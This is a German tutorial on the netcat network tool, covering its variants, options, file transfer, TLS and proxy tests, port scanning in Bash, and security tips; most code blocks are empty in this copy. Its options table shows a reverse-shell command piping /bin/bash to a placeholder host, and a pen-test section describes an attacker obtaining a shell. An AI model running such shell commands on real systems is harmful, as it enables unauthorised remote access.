Willst du schnell prüfen, ob ein Port offen ist? 🔍 Oder Daten zwischen zwei Hosts austauschen, ohne ein separates Programm zu installieren? Vielleicht willst du einen simplen Web-Server oder eine Reverse‑Shell nutzen?
Dann ist netcat (kurz nc) genau das richtige Werkzeug für dich! Es ist klein, flexibel und vielseitig und kann auf fast jedem Linux‑System installiert werden.
Dieser Artikel zeigt dir, wie du nc effektiv einsetzen kannst, welche aktuelle Varianten existieren und wie du die Ausgabe in Skripten verarbeitest.
Varianten von netcat
Zunächst einmal sollten wir bemerken: netcat gibt es in verschiedenen Varianten. Daher werden auch nicht alle Beispiele auf jedem System funktionieren.
| Name | Paket | Besonderheiten |
|---|---|---|
| OpenBSD‑netcat | netcat-openbsd |
unterstützt proxy‑Verbindungen, TLS (-z --ssl), IPv6 und Unix‑Domain‑Sockets |
| GNU‑netcat | netcat-traditional |
ältere Syntax und weniger Features, aber maximale POSIX‑Kompatibilität |
| Ncat-nmap | ncat-nmap |
erweiterte TLS‑ und Zertifikatsunterstützung, Socks‑Proxy, Chat‑Modus, Relay‑Funktion |
| Socat | socat |
Socket‑Cat dient als Ersatz in komplexeren Fällen (mehr Protokolle, Fork‑Modus, Bidirektionalität) |
Installation
So findest du auf deinem System verfügbaren Varianten:
|
|
Wähle einfach die passende Zeile für deine Distribution und gib das konkrete PAKET an:
|
|
So kannst du prüfen, welche Befehle bereitgestellt wurden:
|
|
Beispiel-Ausgabe:
|
|
Genauso solltest du jetzt eine valide Ausgabe zu nc und netcat erhalten.
Hinweis:
- Oft ist
ncein Symlink auf die OpenBSD‑Variante.- Prüfe mit
nc -hodernc --version, welche Implementierung du nutzt.
Grundlegende Syntax
So sieht die Syntax aus, die wir gleich in konkreten Beispielen verwenden:
|
|
HOST= Ziel‑IP oder Hostname (bei-loptional, für Bind‑Adresse)PORT= Zielport oder Port, an dem gelauscht wirdOptionen= beeinflussen Protokoll, Verbosity, Timeouts usw.
Wichtige Optionen
| Option | Kurz‑Beschreibung | Beispiel |
|---|---|---|
-z |
Zero‑I/O = nur prüfen, ob Port erreichbar | nc -z 10.0.0.5 22 |
-v |
verbose = gibt Verbindungsdetails aus | nc -z -v 10.0.0.5 22 |
-w SECS |
Timeout für Verbindungsaufbau/Lesen | nc -w 3 host 80 |
-u |
UDP‑Modus (Standard ist TCP) | nc -u 192.168.1.10 53 |
-l |
Listen (Server‑Modus) | nc -l -p 12345 |
-p PORT |
lokaler Quellport (nur im Listen‑Modus) | nc -l -p 12345 |
-k |
Keep‑alive = nach einer Verbindung weiter lauschen | nc -l -k 8080 |
--ssl |
TLS‑Verschlüsselung | nc --ssl host 443 |
--proxy PROXY[:PORT] |
Verbindung über Proxy | nc --proxy 127.0.0.1:8080 host 80 |
-e PROG |
Exec‑Mode = führt PROG nach Verbindungsaufbau aus |
nc a.example.com 4444 -e /bin/bash |
Hinweis:
- Die Option
-eist aus Sicherheitsgründen oft nicht mehr enthalten.- Verwende stattdessen
ncat --execodersocat.
praktische Beispiele
Für die nachfolgenden Beispiele macht es Sinn, wenn du zwei virtuelle Maschinen (VMs) im gleichen Subnetz verwenden kannst.
Die jeweilige IP-Adresse kannst du dir so anzeigen lassen:
|
|
Port‑Check
Prüfe, ob Port 22 auf 192.168.0.10 erreichbar ist:
|
|
Einfacher Echo‑Server
Dieser Befehl lauscht auf Port 12345 und gibt alles zurück, was der Client sendet:
|
|
Mit -c führst du einen Shell‑Befehl pro Verbindung aus. In dem Befehl liefert die Schleife liefert über echo alle Eingaben zurück.
Jetzt kannst du dich zu diesem Listener verbinden. Das geht auch auf einem weiteren Terminal auf dem gleichen System:
|
|
Alle dann folgenden Eingaben werden nun durch den Listener wiedergegeben:
|
|
Beide Seiten kannst du mit der Tastenkombination [Strg] + [C] wieder beenden.
Datei übertragen
Auch für die Dateiübertragung lässt sich das Werkzeug nutzen.
Die Aktion vom Empfänger auf Host 2:
|
|
Und das Gegenstück beim Absender auf Host 1:
|
|
Tip:
- Nutze statt
catden Befehlpvaus dem gleichnamigen Paket, um den Fortschritt anzuzeigen.
Nach beendeter Übertragung kannst du den Empfänger mit [Strg] + [C] wieder beenden.
UDP‑Ping
Host 1 lauscht auf ein Paket von Host 2:
|
|
Host 2 sendet das Paket:
|
|
Hat es geklappt, dann erscheint das auf der Konsole des Empfängers:
|
|
Beim Empfänger den Listener wieder beenden. Du weisst jetzt wie das geht. Oder du schaust in obigen Beispiel.
TLS‑Verbindung testen
Prüfe, ob ein Web‑Server den TLS‑Handshake akzeptiert:
|
|
Falls das Zertifikat gültig ist, bekommst du eine solche Bestätigung:
|
|
Proxy durchschleusen
Dieses Beispiel kannst du gut mit einem lokal installierten Proxy nachvollziehen. dafür kannst du eine einfache Variante, wie Tinyproxy verwenden:
|
|
So startest du einen HTTP‑Proxy:
|
|
Die Daten laufen nun über den lokalen Proxy, was nützlich ist für das Debugging von Proxy‑Chains.
Reverse‑Shell
Auch einem in Pen‑Test‑Szenario lässt sich ncat einsetzen.
Warnung:
- Reverse‑Shells sind potenziell gefährlich. Verwende sie nur in autorisierten Tests!
Der Angreifer startet auf seinem System eine Listener:
|
|
Vom Ziel-System aus erstellt der Angreifer eine Shell:
|
|
Damit landet der Angreifer im Prompt des Ziel-Systems und kann jetzt beliebigem Code ausführen.
Netcat in Bash‑Skripten
Nicht nur interaktiv, sondern auch in Skripten lässt sich nc gut einsetzen.
Port‑Verfügbarkeit prüfen
Diese Funktion prüft die Verfügbarkeit von einem Port:
|
|
Probiere es einfach aus, indem du den Code abspeicherst, das Skript ausführbar machst (chmod +x port_check.sh) und dann aufrufst mit ./port_check.sh.
Daten lesen
Hier werden Daten gelesen, ohne zu blocken:
|
|
Je nach konkretem System kann es sein, dass du diesen Code anpassen musst, damit er bei dir funktioniert.
Port‑Scanner
Auch als kleiner Ersatz für nmap kann nc verwendet werden:
|
|
Da ich SSH nutze, wird bei mir zum Beispiel ausgegeben "Port $p offen".
Ausgaben loggen
Du kannst auch Logging bei netcat einsetzen:
|
|
Wo kann das sinnvoll sein? Zum Beispiel, damit ein IoT-Gerät seine Daten regelmässig versendet:
|
|
Dann landen diese Daten im Log und du kannst sie zum Beispiel so anzeigen:
|
|
Sicherheit und Best Practices
Du hast gesehen: Man kann viel mit netcat anstellen, also auch viel Unsinn, was den Bösewichten auch nicht unbekannt ist.
Daher solltest du folgende Hinweise unbedingt berücksichtigen beim Einsatz:
| Thema | Empfehlung |
|---|---|
kein -e/--exec |
nutze stattdessen ncat --exec (mit --allow‑Whitelist) oder socat |
| TLS | verwende --ssl bzw. ncat --ssl für verschlüsselte Kommunikationen |
| Privilegien | lausche nicht als root, wenn kein privilegierter Port (<1024) nötig ist |
| Input‑Validierung | über nc empfangene Daten niemals ungeprüft in eval oder bash -c ausführen |
| Firewall‑Logik | nutze nc nicht, um Firewalls zu umgehen |
| Logging | setze -v und leite die Ausgabe in ein Logfile |
| Rate‑Limiting | kombiniere -k und Firewall‑Regeln, um die Gefahr von DoS‑Angriffen zu minimieren |
Fazit
netcat - kurz nc - ist nach wie vor ein universelles Werkzeug beim Netzwerken! 🚀
Durch die Wahl der passenden Variante kannst du moderne Features nutzen, während du gleichzeitig die Sicherheit im Blick behältst.
Nutze die Beispiele von oben als Ausgangspunkt und passe sie deiner Umgebung an.
So erweiterst du dein Toolset mit einem extrem vielseitigen Werkzeug. 🛠️
Hilfe zu nc
Mehr zu nc findest du unter hier:
|
|
Details zum Befehl tldr gibt es hier.
Wenn man nc nur eine kurze Seite zeigt, liegt das meist daran, dass dein System nc als Symlink zu OpenBSD‑netcat verwendet. Die vollständige Dokumentation findest du unter man netcat-openbsd bzw. man ncat.